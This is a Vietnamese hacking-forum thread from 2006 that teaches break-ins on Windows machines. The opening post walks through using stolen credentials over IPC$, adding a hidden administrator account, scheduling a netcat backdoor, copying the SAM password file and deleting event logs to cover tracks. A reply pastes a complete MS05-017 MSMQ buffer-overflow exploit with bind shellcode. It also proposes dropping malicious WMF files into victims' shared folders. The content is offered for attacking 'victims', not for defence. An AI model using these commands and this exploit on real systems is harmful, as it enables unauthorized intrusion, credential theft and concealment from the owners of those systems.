[Question] Các lệnh cơ bản xâm nhập máy tính |
24/06/2006 02:37:23 (+0700) | #1 | 750 |
thangdiablo
HVA Friend
|
Joined: 11/05/2003 17:31:58
Messages: 734
Offline
|
|
Các lệnh cơ bản xâm nhập máy tính
Chào các bồ...hôm nay tớ xin port bài CÁC LỆNH CƠ BẢN XÂM NHẬP...nếu bài nayw quá dở thì xin đừng chê nghe...cám ơn nhiều....
thực ra thí tớ thấy viết những bài này tốt hơn là viết những bài hacking không tài nào thực hiện thành công....nhưng đây chỉ là suy nghỉ của tớ...ai cũng có khiếu điểm mà ?
Phần 1 : Net
chỉ cần bạn có được User và Passwords của một IP nào trên Net...thế là bồ có thể kết nói một IPC$ rồi đấy....
bây giờ tớ xin ví dụ là bạn có được User la hbx và passwords : 123456...IP : 127.0.0.1
cậu hãy mở trình Ms dos và gõ vào lệnh sau :
Net use \\127.0.0.1\ipc$ "123456" /user:"hbx" đẩ kết nồi một IPC$ với máy victtim
nhưng thao tác tiếp theo..bạn nhất thiết phải login xong mới có thể sử dũng
-----------------------------------------------------------------------------------------------
bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới nghe...
chúng ta cộng thệm môt user mới là heibai và password lovechina
Net user heibai lovechina / add
nếu bạn thành công..thì có thể cộng user này vào nhom Adminstrator
Net Localgroup Adminstrator heibai / add
----------------------------------------------------------------------------------------------------
trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer
Net use z: \\127.0.0.1\C$ ( hoặc là IPC$ )
Z là của mình...còn C$ là của Victim
-------------------------------------------------------------------------------------------------------
Phần 2 : AT
thông thường thì khi độp nhập vào máy tính..chúng ta sẻ tặng quà lưu niệm cho victim trước khi rút lui,....vậy khi copy trojan lên máy rồi...làm thế nào dể khới động nó đây ?
chúng ta phải dùng đến lệnh AT thôi.....
đầu tiên...chúng ta cần biết thời gian của đối phương
Net time \\127.0.0.1
bây giờ thì nó sẽ phản hồi thời gian của victim...vd : 12:0 ..
tiếp theo..chúng ta cần tạo môt homework ID = 1
AT \\127.0.0.1 12:3 nc.exe
ở đây giả thiết là tui có con trojan la Nc.exe và đã được copy lên máy victim rồi
* giới thiệu chút it về NC...NC là từ viết tắc của NETCAT....nó là một telnet server với port 99
đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99..thế là xong phần lưu bút
---------------------------------------------------------------------------------------------------------
phần 3 : Telnet
đây là một lệnh rất cần thiết khi xâm nhập máy tính...nó có thể kết nối vớ máy tính khắc từ xa..nhưng thường thi phải có I D & PW..nhưng nếu máy đã Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok
Telnet 127.0.0.1 99
thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh...
-----------------------------------------------------------------------------------------------------------
Phần 4 : Copy
bây giờ chúng ta nói tiêp...làm thế nào để copy files trên máy mình lên máy victim và làm ngược lại....nhưng bạn phải có kết nối IPC$ cái đã....
chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Copy \\127.0.0.1\Admin$\repair\sam._c:\
------------------------------------------------------------------------------------------------
phần 5 : Set
nếu bạn muốn hack một website......tất nhiến là phải mở port 80..nếu không thì cậu hack cho ai xem ?
đã tới lúc dùng lệnh Set rồi
sau đây là kết quả mà tớ tìm thấy......chúng ta phân tích nghe....chủ yếu là muốn biêt homepage nó ở đâu thôi.....
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot DAY LA URL CUA HOMEPAGE, CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:\vlroot PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
đây là cách khá ngu..nhưng chỉ có cách này mới 100% biết đuợc homepage tên gì..ở ảâ ? khi cậu Dir ..chắc chắn là sẽ View được rất nhiều files đấy`.....
---------------------------------------------------------------------------------------
phần 6 : Nbtstat
nếu cậu Scan đuợc một máy sữ dụng Winnt...open port 135-139...thế thì bồ phải dùng lệnh này để biết thêm user thôi...
* tiện thể xin nói luôn...đây là netbios....sau khi có user rồi bạn có thể đoán mò password..nếu không thi Cracking luôn đi
Nbtstat - A XXX.XXX.XXX.XXX
sau đây là kết quả tớ scan được.....
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
kết quả cho biết User là PENTIUMII。
-------------------------------------------------------------------------------------------
phần 7 : Shutdown
nhìn lệnh thôi cũng đủ biết rồi phải hông ? đây là lệnh shutdown server Winnt
Shutdown \\127.0.0.1 t:20
20 giây sau...Winnt sẽ tự khời động lại.......hi vọng các bạn suy nghỉ kỷ trước khi dùng lệnh này....vì nó sẽ làm tổn thất rất nặng cho victim...hãy làm tay hacker có đạo đức
---------------------------------------------------------------------------------------------------------------------------------
phần 8 : Dir....
lệnh này không có gì để nói hết..chỉ dùng để view thôi.................
-----------------------------------------------------------------------------------------------
phần 9 : Del
lệnh này giống như xoá nhật ký vậy đó.....khi chúng ta xâm nhập máy tình...trên hệ thống sẽ lưu lại thông tin của chúng ta..vì thế..nên del nó đi...chư muốn bị tóm cổ hả ?
sau đây là những files nhật ký của Winnt
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
chỉ cần del hết là coi như xong
-------------------------------------------------------------------------------------------------------------------
những lệnh trong ms dos còn rất nhiều....như lệnh ECHO .....FTP.........ATTRIB.......nhưng vì còn nhiều lắm...tớ không tài nào đề cập hết trong một bài...mông các bạn hiểu cho và thông cảm nghe......
Bài viết : Venom |
|
Hãy sống có Tuệ Giác. |
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
24/06/2006 02:51:54 (+0700) | #2 | 752 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
hếlô lão thắngbố !
cho tui hỏi phát :muốn tìm đường dẫn 1 file dùng cmd là lệnh gì nhỉ ? |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: Các lệnh cơ bản xâm nhập máy tính |
24/06/2006 20:55:35 (+0700) | #3 | 810 |
thaovn
Elite Member
|
0 |
|
|
Joined: 21/08/2003 21:10:57
Messages: 16
Offline
|
|
Dùng lệnh dir anh ạ.
vd: ta thấy file a.txt ở thu mục hiện thời
ta chỉ cần dir a.txt > C:\test.txt . Khi đó tại ổ C ta đọc file test.txt là có ngay đường dẫn! |
|
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
24/06/2006 21:23:07 (+0700) | #4 | 811 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
Dùng lệnh dir anh ạ.
vd: ta thấy file a.txt ở thu mục hiện thời
thấy ở thư mục hiện thời thì bit đường dẫn rồi ... còn dir làm gì ?? đọc kĩ đề bài |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
26/06/2006 12:04:50 (+0700) | #5 | 951 |
kilua_vniss
Member
|
0 |
|
|
Joined: 26/06/2006 00:52:49
Messages: 16
Offline
|
|
trong linux thi` dung` pwd con` win thi` em cha? bit'
ps:quai' sao em ko type duoc tieng viet nhi |
|
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
26/06/2006 13:16:42 (+0700) | #6 | 967 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
kilua_vniss wrote:
trong linux thi` dung` pwd con` win thi` em cha? bit'
ps:quai' sao em ko type duoc tieng viet nhi
thua |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 00:08:31 (+0700) | #7 | 1002 |
|
lonely_Xorhandsome
Elite Member
|
0 |
|
|
Joined: 26/06/2006 12:14:07
Messages: 558
Location: HCM beside you !
Offline
|
|
mấy anh cho em hoải bài viết dùng lệnh để xâm nhập máy tính na`y, áp dụng cho OS gì vậy ? và hình cái nài áp dụng only LAN phải không các huynh ? |
|
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 01:50:56 (+0700) | #8 | 1070 |
|
Luke
Elite Member
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Tôi nghĩ nếu mà đối tượng dùng WinXP <= SP1 thì khai thác khá đơn giản. là dùng RPC D-COM để khai thác. Nhanh chóng, gọn nhẹ, hiệu quả.
Hoặc khai thác qua (MS05-017)
Dùng exploit code sau, mọi người đọc chắc hiểu. Chỉ cần thêm mỗi VC++ để compile
Code:
/* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-017) Message Queuing Buffer Overflow Vulnerability
* Universal Exploit
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in Message Queuing
* that could allow an attacker who successfully exploited this
* vulnerability to take complete control of the affected system.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP SP1
* - Windows XP SP0
* - Windows 2000 PRO SP4
* - Windows 2000 PRO SP3
* - Windows 2000 Server SP4
* - Windows 2000 AdvServer SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Linux : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
*
* [*] Connecting to 192.168.0.22:2103 ... OK
* [*] Attacking...OK
*
* C:\>telnet 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>net stop msmq
*
* The Message Queuing service was stopped successfully.
*
* C:\WINNT\system32>net start msmq
* The Message Queuing service is starting..
* The Message Queuing service was started successfully.
*
* C:\WINNT\system32>
*
* For some system (Windows 2000 Server/AdvServer):
*
* C:\>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
*
* [*] Connecting to 192.168.0.210:2103 ... OK
* [*] Attacking...........OK
*
* C:\>telnet 192.168.0.1 9999
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
#define NOP 0x90
#define _DCE_RPC_BIND 0x0B
typedef struct dce_rpc {
unsigned char ver;
unsigned char ver_minor;
unsigned char pkt_type;
unsigned char pkt_flags;
unsigned long data_repres;
unsigned short frag_len;
unsigned short auth_len;
unsigned long caller_id;
} DCE_RPC, *PDCE_RPC;
typedef struct dce_rpc_bind {
unsigned short max_xmit;
unsigned short max_recv;
unsigned long asc_group;
unsigned long num_con_items;
unsigned short con_id;
unsigned short num_trn_items;
/* unsigned char *interface_uuid; */
/* unsigned short interface_ver; */
/* unsigned short interface_ver_min; */
/* unsigned char *uuid; */
/* unsigned long syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;
unsigned char dce_rpc_header1[] =
"\x05\x00\x00\x01\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00\x01\x00\x00\x00\x01\x00\x00\x00"
"\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00"
"\xE4\x07\x00\x00\x00\x00\x00\x00\xE4\x07\x00\x00"
"\x4F\x00\x53\x00\x3A\x00";
/* ... Remote NetBIOS name */
unsigned char tag_private[] =
/* \PRIVATE$\ */
"\x5C\x00"
"\x50\x00\x52\x00\x49\x00\x56\x00\x41\x00\x54\x00\x45\x00\x24\x00"
"\x5C\x00";
unsigned char dce_rpc_header2[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00";
unsigned char dce_rpc_header3[] =
"\x05\x00\x00\x02\x10\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x00"
"\xEC\x03\x00\x00\x00\x00\x09\x00";
unsigned char offsets[] =
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 Server/AdvServer */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73\x65\x6F\x66\x64\x61\x62"
"\x75\x73\x48\x41"
/* entry point (jmp over) */
"\xEB\x06\x90\x90"
/* for Windows XP */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\x4d\x12\x00\x01"
"\x90\x90\x90\x90\x90\x90";
unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";
#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)
int
hex2raw(unsigned char *s, unsigned char *out)
{
unsigned long i, len, j = 0;
unsigned long ret = 0;
len = strlen(s);
for (i = 0; i < len; i+=2) {
if ((s[i] >= 0x30) && (s[i] <= 0x39))
j = s[i] - 0x30;
else
j = s[i] - 0x61 + 10;
j *= 16;
if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
j += s[i+1] - 0x30;
else
j += s[i+1] - 0x61 + 10;
out[ret] = (unsigned char)j;
ret++;
}
return ret;
}
void
inverse(unsigned char *io, unsigned long len)
{
unsigned long i;
unsigned char c;
for (i = 0; i < len/2; i++) {
c = io[len-i-1];
io[len-i-1] = io[i];
io[i] = c;
}
}
int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
unsigned long i, len, ret;
unsigned cnt = 0, ar = 0;
unsigned char *ptr;
ptr = uuid;
len = strlen(uuid);
for (i = 0; i < len; i++) {
if (uuid[i] == '-') {
uuid[i] = '\0';
if (ar < 3) {
ret = hex2raw(ptr, out);
inverse(out, ret);
out += ret; cnt += ret;
}
else {
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
}
ptr = uuid+i+1;
ar++;
}
}
out[len] = '\0';
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
return cnt;
}
unsigned char *
dce_rpc_bind(
unsigned long cid,
unsigned char *uuid,
unsigned short ver,
unsigned long *pkt_len)
{
unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
unsigned char *pkt, *euuid, *tmp;
unsigned long cnt;
unsigned short ret;
PDCE_RPC_BIND rpc_bind;
PDCE_RPC rpc;
pkt = (unsigned char *)calloc(2048, 1);
euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);
tmp = pkt;
pkt += sizeof(DCE_RPC);
rpc_bind = (PDCE_RPC_BIND)pkt;
rpc_bind->max_xmit = 0x16D0;
rpc_bind->max_recv = 0x16D0;
rpc_bind->asc_group = 0;
rpc_bind->num_con_items = 1;
rpc_bind->con_id = 0;
rpc_bind->num_trn_items = 1;
pkt += sizeof(DCE_RPC_BIND);
cnt = encode_uuid(uuid, pkt);
pkt += cnt;
memcpy(pkt, &ver, sizeof(short));
pkt += sizeof(short);
*pkt++ = 0; *pkt++ = 0;
cnt = encode_uuid(vuid, pkt);
pkt += cnt;
*pkt++ = 2; *pkt++ = 0;
ret = pkt - tmp;
rpc = (PDCE_RPC)tmp;
rpc->ver = 5;
rpc->ver_minor = 0;
rpc->pkt_type = _DCE_RPC_BIND;
rpc->pkt_flags = 3;
rpc->data_repres = 16;
rpc->frag_len = ret + 2;
rpc->auth_len = 0;
rpc->caller_id = cid;
*pkt_len = ret + 2;
free(euuid);
return tmp;
}
void
convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '\x00';
*out-- = name[len];
}
}
int
main (int argc, char **argv)
{
unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
unsigned char *packet = NULL;
unsigned short bindport;
unsigned long cnt;
struct sockaddr_in addr;
struct hostent *he;
int len, cpkt = 1;
int sockfd;
char recvbuf[4096];
char *buff, *ptr;
#ifdef _WIN32
WSADATA wsa;
#endif
printf("\n (MS05-017) Message Queuing Buffer Overflow Vulnerability\n\n");
printf("\t Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
if (argc < 5) {
printf("%s <host> <port> <netbios name> <bind port> [count]\n", argv[0]);
printf("\nMSMQ ports: 2103, 2105, 2107\n");
printf("count - number of packets. for Win2k Server/AdvServer = 6-8\n\n");
exit(0);
}
#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] create socket failed\n");
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons((short)atoi(argv[2]));
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);
printf("\n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed!\n");
exit(0);
}
printf("OK\n");
packet = dce_rpc_bind(0, endp, 1, &cnt);
if (send(sockfd, packet, cnt, 0) == -1) {
printf("[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 0) {
printf("[-] recv failed\n");
exit(0);
}
free(packet);
printf("[*] Attacking...");
buff = (char *) malloc(4172);
memset(buff, NOP, 4172);
ptr = buff;
memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
ptr += sizeof(dce_rpc_header1)-1;
// Remote NetBIOS name
convert_name(ptr, argv[3]);
ptr += strlen(argv[3])*2;
memcpy(ptr, tag_private, sizeof(tag_private)-1);
ptr += sizeof(tag_private)-1;
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);
// offsets
ptr = buff;
ptr += 438;
memcpy(ptr, offsets, sizeof(offsets)-1);
ptr += sizeof(offsets)-1;
// shellcode
bindport = (unsigned short)atoi(argv[4]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
buff[4170] = '\0';
buff[4171] = '\0';
if (argc == 6) cpkt = atoi(argv[5]);
while (cpkt--) {
printf(".");
if (send(sockfd, buff, 4172, 0) == -1) {
printf("\n[-] send failed\n");
exit(0);
}
}
printf(" OK\n");
return 0;
}
Còn nếu mà đối phương dùng SP2 thì phải đi đường vòng một chút.
+ Nếu đối phương hay dùng net, dùng máy tính mình để spoofing cross-domain, lấy được nhiều thông tin quan trọng phết!!
+ Nếu đối phương có shares (nbtstat -a <IP> thì compile 1 file WMF cho vào các thư mục shares. Khi nạn nhân mở các thư mục đó là ale hấp, mở ngay cổng. Có thể dùng SMS APT hoặc email để notify cho mình. Nhanh chóng online và khống chế |
|
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 09:52:33 (+0700) | #9 | 1270 |
hoant.mar
Member
|
0 |
|
|
Joined: 26/06/2006 22:43:38
Messages: 3
Offline
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 10:11:24 (+0700) | #10 | 1276 |
|
cyber9uy
Member
|
0 |
|
|
Joined: 26/06/2006 01:44:45
Messages: 10
Offline
|
|
Copy đoạn code của pro Duke vao VC++ khônng chạy được. |
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 18:14:56 (+0700) | #11 | 1367 |
bigape
Member
|
0 |
|
|
Joined: 23/11/2005 15:20:06
Messages: 5
Offline
|
|
Cho em hoi: o tren anhthangdiablo co de cap den IP: 127.0.0.1
Anh cho em hoi lam` the nao de biet IP nay duoc ko a.
Va anh co the noi chi tiet cho em lam the nao de có được "User và Passwords của một IP nào trên Net" ko a. Em van ko hieu phan nay lam, mong cac anh chi giup cho, em xin da ta
|
|
|
[Question] Các lệnh cơ bản xâm nhập máy tính |
27/06/2006 21:26:40 (+0700) | #12 | 1389 |
|
Luke
Elite Member
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Win32/VC++ : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
|
|
|
|